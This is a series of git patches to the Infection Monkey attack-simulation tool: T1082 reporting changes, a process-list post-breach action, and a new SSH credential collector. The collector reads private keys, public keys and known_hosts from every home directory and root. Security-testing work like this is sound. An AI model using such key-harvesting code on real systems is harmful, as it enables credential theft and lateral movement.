a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py +++ b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py @@ -16,6 +16,9 @@ except NameError: class ProcessListCollection(PBA): + # TODO: (?) Move all PBA consts into their classes + display_name = POST_BREACH_PROCESS_LIST_COLLECTION + def __init__(self): super().__init__(POST_BREACH_PROCESS_LIST_COLLECTION) @@ -51,4 +54,4 @@ class ProcessListCollection(PBA): } continue - return self.command, [str(processes), success_state] + return self.command, (str(processes), success_state) From 547d4fce54712da9f43ba1601dca69f834e81632 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 14 Feb 2022 17:15:45 +0530 Subject: [PATCH 0411/1110] Island: Modify T1082's reporting to get data from process collection PBA too --- .../attack/technique_reports/T1082.py | 58 ++++++++++++++----- 1 file changed, 42 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index ad1bc6281..1af89e7f7 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -1,3 +1,4 @@ +from common.common_consts.post_breach_consts import POST_BREACH_PROCESS_LIST_COLLECTION from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique @@ -9,14 +10,16 @@ class T1082(AttackTechnique): unscanned_msg = "Monkey didn't gather any system info on the network." scanned_msg = "" used_msg = "Monkey gathered system info from machines in the network." + # TODO: Remove the second item from this list after the TODO in `_run_pba()` in + # `automated_master.py` is resolved. + pba_names = [POST_BREACH_PROCESS_LIST_COLLECTION, "ProcessListCollection"] - query = [ + query_for_system_info_collectors = [ {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}}, { "$project": { "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, "aws": "$data.aws", - "process_list": "$data.process_list", "ssh_info": "$data.ssh_info", "azure_info": "$data.Azure", } @@ -30,15 +33,6 @@ class T1082(AttackTechnique): "used": {"$and": [{"$gt": ["$aws", {}]}]}, "name": {"$literal": "Amazon Web Services info"}, }, - { - "used": { - "$and": [ - {"$ifNull": ["$process_list", False]}, - {"$gt": ["$process_list", {}]}, - ] - }, - "name": {"$literal": "Running process list"}, - }, { "used": { "$and": [{"$ifNull": ["$ssh_info", False]}, {"$ne": ["$ssh_info", []]}] @@ -62,19 +56,51 @@ class T1082(AttackTechnique): {"$replaceRoot": {"newRoot": "$_id"}}, ] + query_for_pbas = [ + { + "$match": { + "$and": [ + {"telem_category": "post_breach"}, + {"$or": [{"data.name": pba_name} for pba_name in pba_names]}, + {"$or": [{"data.os": os} for os in relevant_systems]}, + ] + } + }, + { + "$project": { + "_id": 0, + "machine": { + "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, + "ips": [{"$arrayElemAt": ["$data.ip", 0]}], + }, + "collections": [ + { + "used": {"$arrayElemAt": [{"$arrayElemAt": ["$data.result", 0]}, 1]}, + "name": {"$literal": "List of running processes"}, + } + ], + } + }, + ] + @staticmethod def get_report_data(): def get_technique_status_and_data(): - system_info = list(mongo.db.telemetry.aggregate(T1082.query)) - if system_info: + system_info_data = list( + mongo.db.telemetry.aggregate(T1082.query_for_system_info_collectors) + ) + pba_data = list(mongo.db.telemetry.aggregate(T1082.query_for_pbas)) + technique_data = system_info_data + pba_data + + if technique_data: status = ScanStatus.USED.value else: status = ScanStatus.UNSCANNED.value - return (status, system_info) + return (status, technique_data) - status, system_info = get_technique_status_and_data() + status, technique_data = get_technique_status_and_data() data = {"title": T1082.technique_title()} - data.update({"system_info": system_info}) + data.update({"technique_data": technique_data}) data.update(T1082.get_mitigation_by_status(status)) data.update(T1082.get_message_and_status(status)) From 5ab7bc520e42c53564b31ab88a3a2d8f5e5e0121 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 14 Feb 2022 17:16:41 +0530 Subject: [PATCH 0412/1110] UI: Modify variable names in T1082.js as per changes to backend --- .../cc/ui/src/components/attack/techniques/T1082.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js index 790cb8271..a82adcf09 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js @@ -37,9 +37,9 @@ class T1082 extends React.Component { {this.props.data.status === ScanStatus.USED ? : ''} From afa7d4fca41d63eeeb729cddb3e9dba0edb10196 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 14 Feb 2022 19:18:39 +0530 Subject: [PATCH 0413/1110] Agent: Modify process list collection PBA to return dict of processes instead of string --- .../post_breach/actions/collect_processes_list.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py index cae3658c4..181fd5988 100644 --- a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py +++ b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py @@ -54,4 +54,4 @@ class ProcessListCollection(PBA): } continue - return self.command, (str(processes), success_state) + return self.command, (processes, success_state) From ff6fd5297997d29a052716a270d3c4f50773776f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 14 Feb 2022 19:19:16 +0530 Subject: [PATCH 0414/1110] UI: Modify how process list collection PBA is shown in Security report --- .../report-components/security/PostBreachParser.js | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js index 4bb420f71..843ca89dd 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js @@ -5,6 +5,10 @@ export default function parsePbaResults(results) { const SHELL_STARTUP_NAME = 'Modify shell startup file'; const CMD_HISTORY_NAME = 'Clear command history'; +// TODO: Remove line 10 and un-comment line 11 after the TODO in `_run_pba()` in +// `automated_master.py` is resolved. +const PROCESS_LIST_COLLECTION = 'ProcessListCollection'; +// const PROCESS_LIST_COLLECTION = 'Process list collection'; const multipleResultsPbas = [SHELL_STARTUP_NAME, CMD_HISTORY_NAME] @@ -41,10 +45,17 @@ function aggregateMultipleResultsPba(results) { } } + function modifyProcessListCollectionResult(result) { + result[0] = "Found " + Object.keys(result[0]).length.toString() + " running processes"; + } + // check for pbas with multiple results and aggregate their results - for (let i = 0; i < results.length; i++) + for (let i = 0; i < results.length; i++) { if (multipleResultsPbas.includes(results[i].name)) aggregateResults(results[i]); + if (results[i].name === PROCESS_LIST_COLLECTION) + modifyProcessListCollectionResult(results[i].result); + } // if no modifications were made to the results, i.e. if no pbas had mutiple results, return `results` as it is let noResultsModifications = true; From 9d3931c380e5adacf59dfd3f572d148b77d9e35a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 16 Feb 2022 16:38:38 +0530 Subject: [PATCH 0415/1110] Island: Fix T1082's mongo query to get the right data --- .../attack/technique_reports/T1082.py | 29 ++++++++++++++----- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index 1af89e7f7..1fa81f4ed 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -8,7 +8,7 @@ class T1082(AttackTechnique): tech_id = "T1082" relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't gather any system info on the network." - scanned_msg = "" + scanned_msg = "Monkey tried gathering system info on the network but failed." used_msg = "Monkey gathered system info from machines in the network." # TODO: Remove the second item from this list after the TODO in `_run_pba()` in # `automated_master.py` is resolved. @@ -89,14 +89,27 @@ class T1082(AttackTechnique): system_info_data = list( mongo.db.telemetry.aggregate(T1082.query_for_system_info_collectors) ) - pba_data = list(mongo.db.telemetry.aggregate(T1082.query_for_pbas)) - technique_data = system_info_data + pba_data + system_info_status = ( + ScanStatus.USED.value if system_info_data else ScanStatus.UNSCANNED.value + ) - if technique_data: - status = ScanStatus.USED.value - else: - status = ScanStatus.UNSCANNED.value - return (status, technique_data) + pba_data = list(mongo.db.telemetry.aggregate(T1082.query_for_pbas)) + successful_PBAs = mongo.db.telemetry.count( + { + "$and": [ + {"$or": [{"data.name": pba_name} for pba_name in T1082.pba_names]}, + {"$or": [{"data.os": os} for os in T1082.relevant_systems]}, + {"data.result.1": True}, + ] + } + ) + pba_status = ScanStatus.USED.value if successful_PBAs else ScanStatus.SCANNED.value + + technique_data = system_info_data + pba_data + # ScanStatus values are in order of precedence; used > scanned > unscanned + technique_status = max(system_info_status, pba_status) + + return (technique_status, technique_data) status, technique_data = get_technique_status_and_data() data = {"title": T1082.technique_title()} From e674f9e0c021e82d7beed2251b45024f3c18d17d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 16 Feb 2022 16:41:00 +0530 Subject: [PATCH 0416/1110] Island: Move antivirus check for ZT report from system info processing to PBA processing --- .../telemetry/processing/post_breach.py | 17 ++++++++++++++++- .../system_info_telemetry_dispatcher.py | 4 +--- .../zero_trust_checks/antivirus_existence.py | 7 ++----- 3 files changed, 19 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index 5506ff54d..3e02971de 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -1,8 +1,14 @@ import copy -from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER +from common.common_consts.post_breach_consts import ( + POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER, + POST_BREACH_PROCESS_LIST_COLLECTION, +) from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey +from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import ( + check_antivirus_existence, +) from monkey_island.cc.services.telemetry.zero_trust_checks.communicate_as_backdoor_user import ( check_new_user_communication, ) @@ -17,8 +23,17 @@ def process_communicate_as_backdoor_user_telemetry(telemetry_json): check_new_user_communication(current_monkey, success, message) +def process_process_list_collection_telemetry(telemetry_json): + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) + check_antivirus_existence(telemetry_json, current_monkey) + + POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER: process_communicate_as_backdoor_user_telemetry, + # TODO: Remove line 31 and un-comment line 32 after the TODO in `_run_pba()` in + # `automated_master.py` is resolved. + "ProcessListCollection": process_process_list_collection_telemetry, + # POST_BREACH_PROCESS_LIST_COLLECTION: process_process_list_collection_telemetry, } diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index 9df25a677..7faae8eb2 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -1,12 +1,10 @@ import logging import typing -from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import ( - check_antivirus_existence, -) logger = logging.getLogger(__name__) + SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = {} diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py index d2f154a9e..4e8a86fb4 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py @@ -1,7 +1,6 @@ import json import common.common_consts.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.services.telemetry.zero_trust_checks.known_anti_viruses import ( ANTI_VIRUS_KNOWN_PROCESS_NAMES, @@ -11,9 +10,7 @@ from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_serv ) -def check_antivirus_existence(process_list_json, monkey_guid): - current_monkey = Monkey.get_single_monkey_by_guid(monkey_guid) - +def check_antivirus_existence(telemetry_json, current_monkey): process_list_event = Event.create_event( title="Process list", message="Monkey on {} scanned the process list".format(current_monkey.hostname), @@ -21,7 +18,7 @@ def check_antivirus_existence(process_list_json, monkey_guid): ) events = [process_list_event] - av_processes = filter_av_processes(process_list_json["process_list"]) + av_processes = filter_av_processes(telemetry_json["data"]["result"][0]) for process in av_processes: events.append( From 123f0aab16aaa1c33836f847d329d5973c96a83b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 16 Feb 2022 16:45:22 +0530 Subject: [PATCH 0417/1110] Changelog: Add entry for process list collection PBA --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index b51cc9321..c5e2d74ad 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -17,6 +17,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - The setup procedure for custom server_config.json files to be simpler. #1576 - The order and content of Monkey Island's initialization logging to give clearer instructions to the user and avoid confusion. #1684 +- The process list collection system info collector to now be a post-breach action. #1697 ### Removed - VSFTPD exploiter. #1533 From 44a7b7e14808df7f57471f8ca1f0c7857e912670 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 16 Feb 2022 16:53:45 +0530 Subject: [PATCH 0418/1110] Island: Fix TODO comment in monkey_island/cc/services/telemetry/processing/post_breach.py --- .../cc/services/telemetry/processing/post_breach.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index 3e02971de..5792ee947 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -30,7 +30,7 @@ def process_process_list_collection_telemetry(telemetry_json): POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER: process_communicate_as_backdoor_user_telemetry, - # TODO: Remove line 31 and un-comment line 32 after the TODO in `_run_pba()` in + # TODO: Remove the line below and un-comment the next one after the TODO in `_run_pba()` in # `automated_master.py` is resolved. "ProcessListCollection": process_process_list_collection_telemetry, # POST_BREACH_PROCESS_LIST_COLLECTION: process_process_list_collection_telemetry, From 32cad45676cda45db822cf476758c572e88dcecc Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 16 Feb 2022 16:56:37 +0530 Subject: [PATCH 0419/1110] Island: Refactor post breach telemetry processing functions --- .../cc/services/telemetry/processing/post_breach.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index 5792ee947..8392d3613 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -16,15 +16,13 @@ from monkey_island.cc.services.telemetry.zero_trust_checks.communicate_as_backdo EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)" -def process_communicate_as_backdoor_user_telemetry(telemetry_json): - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) +def process_communicate_as_backdoor_user_telemetry(telemetry_json, current_monkey): message = telemetry_json["data"]["result"][0] success = telemetry_json["data"]["result"][1] check_new_user_communication(current_monkey, success, message) -def process_process_list_collection_telemetry(telemetry_json): - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) +def process_process_list_collection_telemetry(telemetry_json, current_monkey): check_antivirus_existence(telemetry_json, current_monkey) @@ -59,7 +57,10 @@ def process_post_breach_telemetry(telemetry_json): post_breach_action_name = telemetry_json["data"]["name"] if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: - POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json) + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) + POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name]( + telemetry_json, current_monkey + ) telemetry_json["data"] = convert_telem_data_to_list(telemetry_json["data"]) From 3017e6b250fd9b09308a9f6dd9b83dd1f50b9e9c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 16 Feb 2022 17:25:36 +0530 Subject: [PATCH 0420/1110] UT: Remove references to process list collection system info collector in test data --- .../data_for_tests/monkey_configs/automated_master_config.json | 1 - monkey/tests/data_for_tests/monkey_configs/flat_config.json | 1 - .../data_for_tests/monkey_configs/monkey_config_standard.json | 2 -- 3 files changed, 4 deletions(-) diff --git a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json index e7290d822..5556d8c23 100644 --- a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json @@ -104,7 +104,6 @@ } }, "system_info_collector_classes": [ - "ProcessListCollector", "MimikatzCollector" ] } diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 563eb21d5..5693307f2 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -101,7 +101,6 @@ "smb_service_name": "InfectionMonkey", "subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"], "system_info_collector_classes": [ - "ProcessListCollector", "MimikatzCollector" ], "tcp_scan_timeout": 3000, diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 69e6f4416..38c51042d 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -146,9 +146,7 @@ }, "system_info": { "system_info_collector_classes": [ - "environmentcollector", "hostnamecollector", - "processlistcollector", "mimikatzcollector" ] } From 7787984f4a5eaddf7657b2f2f281123364c76d6b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 16 Feb 2022 17:31:40 +0530 Subject: [PATCH 0421/1110] BB: Remove ProcessListCollector from BB config templates --- envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py | 1 - envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py | 1 - 2 files changed, 2 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py index 37b452801..25003eb20 100644 --- a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py +++ b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py @@ -17,7 +17,6 @@ class SmbMimikatz(ConfigTemplate): "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [445], "monkey.system_info.system_info_collector_classes": [ - "ProcessListCollector", "MimikatzCollector", ], } diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py index 7ff3ab84f..430547a73 100644 --- a/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py +++ b/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py @@ -16,7 +16,6 @@ class WmiMimikatz(ConfigTemplate): "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [135], "monkey.system_info.system_info_collector_classes": [ - "ProcessListCollector", "MimikatzCollector", ], } From 5aa5e33356b1a70acd2470fee591b0f46043f834 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 14 Feb 2022 23:09:51 +0100 Subject: [PATCH 0422/1110] Agent, UT: Refactor SSH info collector to credential collector --- .../SSH_credentials_collector.py | 141 ++++++++++++++++++ .../ssh_collector/__init__.py | 1 + .../ssh_info/ssh_info_full/id_12345 | 3 + .../ssh_info/ssh_info_full/id_12345.pub | 1 + .../ssh_info/ssh_info_full/known_hosts | 4 + .../ssh_info_no_public_key/giberrish_file.txt | 0 .../ssh_info/ssh_info_partial/id_12345.pub | 1 + .../test_ssh_credentials_collector.py | 94 ++++++++++++ 8 files changed, 245 insertions(+) create mode 100644 monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py create mode 100644 monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py create mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 create mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub create mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts create mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_no_public_key/giberrish_file.txt create mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub create mode 100644 monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py new file mode 100644 index 000000000..2e5eba0f7 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py @@ -0,0 +1,141 @@ +import glob +import logging +import os +import pwd +from typing import Dict, Iterable + +from common.utils.attack_utils import ScanStatus +from infection_monkey.credential_collectors import ( + Credentials, + ICredentialCollector, + SSHKeypair, + Username, +) +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem + +logger = logging.getLogger(__name__) + + +class SSHCollector(ICredentialCollector): + """ + SSH keys and known hosts collection module + """ + + default_dirs = ["/.ssh/", "/"] + + def collect_credentials(self) -> Credentials: + logger.info("Started scanning for SSH credentials") + home_dirs = SSHCollector._get_home_dirs() + ssh_info = SSHCollector._get_ssh_files(home_dirs) + logger.info("Scanned for SSH credentials") + + return SSHCollector._to_credentials(ssh_info) + + @staticmethod + def _to_credentials(ssh_info: Iterable[Dict]) -> Credentials: + credentials_obj = Credentials(identities=[], secrets=[]) + + for info in ssh_info: + credentials_obj.identities.append(Username(info["name"])) + ssh_keypair = {} + if "public_key" in info: + ssh_keypair["public_key"] = info["public_key"] + if "private_key" in info: + ssh_keypair["private_key"] = info["private_key"] + if "public_key" in info: + ssh_keypair["known_hosts"] = info["known_hosts"] + + credentials_obj.secrets.append(SSHKeypair(ssh_keypair)) + + return credentials_obj + + @staticmethod + def _get_home_dirs() -> Iterable[Dict]: + root_dir = SSHCollector._get_ssh_struct("root", "") + home_dirs = [ + SSHCollector._get_ssh_struct(x.pw_name, x.pw_dir) + for x in pwd.getpwall() + if x.pw_dir.startswith("/home") + ] + home_dirs.append(root_dir) + return home_dirs + + @staticmethod + def _get_ssh_struct(name: str, home_dir: str) -> Dict: + """ + Construct the SSH info. It consisted of: name, home_dir, + public_key, private_key and known_hosts. + + public_key: contents of *.pub file (public key) + private_key: contents of * file (private key) + known_hosts: contents of known_hosts file(all the servers keys are good for, + possibly hashed) + + :param name: username of user, for whom the keys belong + :param home_dir: users home directory + :return: SSH info struct + """ + return { + "name": name, + "home_dir": home_dir, + "public_key": None, + "private_key": None, + "known_hosts": None, + } + + @staticmethod + def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: + for info in usr_info: + path = info["home_dir"] + for directory in SSHCollector.default_dirs: + if os.path.isdir(path + directory): + try: + current_path = path + directory + # Searching for public key + if glob.glob(os.path.join(current_path, "*.pub")): + # Getting first file in current path with .pub extension(public key) + public = glob.glob(os.path.join(current_path, "*.pub"))[0] + logger.info("Found public key in %s" % public) + try: + with open(public) as f: + info["public_key"] = f.read() + # By default private key has the same name as public, + # only without .pub + private = os.path.splitext(public)[0] + if os.path.exists(private): + try: + with open(private) as f: + # no use from ssh key if it's encrypted + private_key = f.read() + if private_key.find("ENCRYPTED") == -1: + info["private_key"] = private_key + logger.info("Found private key in %s" % private) + T1005Telem( + ScanStatus.USED, "SSH key", "Path: %s" % private + ).send() + else: + continue + except (IOError, OSError): + pass + # By default, known hosts file is called 'known_hosts' + known_hosts = os.path.join(current_path, "known_hosts") + if os.path.exists(known_hosts): + try: + with open(known_hosts) as f: + info["known_hosts"] = f.read() + logger.info("Found known_hosts in %s" % known_hosts) + except (IOError, OSError): + pass + # If private key found don't search more + if info["private_key"]: + break + except (IOError, OSError): + pass + except OSError: + pass + usr_info = [ + info + for info in usr_info + if info["private_key"] or info["known_hosts"] or info["public_key"] + ] + return usr_info diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py b/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py new file mode 100644 index 000000000..adc6a2dc5 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py @@ -0,0 +1 @@ +from .SSH_credentials_collector import SSHCollector diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 new file mode 100644 index 000000000..54616cc11 --- /dev/null +++ b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 @@ -0,0 +1,3 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +LoremIpsumSomethingNothing +-----END OPENSSH PRIVATE KEY----- diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub new file mode 100644 index 000000000..082f12abd --- /dev/null +++ b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub @@ -0,0 +1 @@ +ssh-ed25519 something-public-here valid.email@at-email.com diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts new file mode 100644 index 000000000..8e95ebb9a --- /dev/null +++ b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts @@ -0,0 +1,4 @@ +|1|really+known+host|known_host1 +|1|really+known+host|known_host2 +|1|really+known+host|known_host3 +|1|really+known+host|known_host4 diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_no_public_key/giberrish_file.txt b/monkey/tests/data_for_tests/ssh_info/ssh_info_no_public_key/giberrish_file.txt new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub b/monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub new file mode 100644 index 000000000..082f12abd --- /dev/null +++ b/monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub @@ -0,0 +1 @@ +ssh-ed25519 something-public-here valid.email@at-email.com diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py new file mode 100644 index 000000000..8a7cda3c7 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py @@ -0,0 +1,94 @@ +import os +import pwd +from pathlib import Path + +import pytest + +from infection_monkey.credential_collectors import SSHKeypair, Username +from infection_monkey.credential_collectors.ssh_collector import SSHCollector + + +@pytest.fixture +def project_name(pytestconfig): + home_dir = str(Path.home()) + return "/" / Path(str(pytestconfig.rootdir).replace(home_dir, "")) + + +@pytest.fixture +def ssh_test_dir(project_name): + return project_name / "monkey" / "tests" / "data_for_tests" / "ssh_info" + + +@pytest.fixture +def get_username(): + return pwd.getpwuid(os.getuid()).pw_name + + +@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") +def test_ssh_credentials_collector_success(ssh_test_dir, get_username, monkeypatch): + monkeypatch.setattr( + "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", + [str(ssh_test_dir / "ssh_info_full")], + ) + + ssh_credentials = SSHCollector().collect_credentials() + + assert len(ssh_credentials.identities) == 1 + assert type(ssh_credentials.identities[0]) == Username + assert "username" in ssh_credentials.identities[0].content + assert ssh_credentials.identities[0].content["username"] == get_username + + assert len(ssh_credentials.secrets) == 1 + assert type(ssh_credentials.secrets[0]) == SSHKeypair + + assert len(ssh_credentials.secrets[0].content) == 3 + assert ( + ssh_credentials.secrets[0] + .content["private_key"] + .startswith("-----BEGIN OPENSSH PRIVATE KEY-----") + ) + assert ( + ssh_credentials.secrets[0] + .content["public_key"] + .startswith("ssh-ed25519 something-public-here") + ) + assert ssh_credentials.secrets[0].content["known_hosts"].startswith("|1|really+known+host") + + +@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") +def test_no_ssh_credentials(monkeypatch): + monkeypatch.setattr( + "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", [] + ) + + ssh_credentials = SSHCollector().collect_credentials() + + assert len(ssh_credentials.identities) 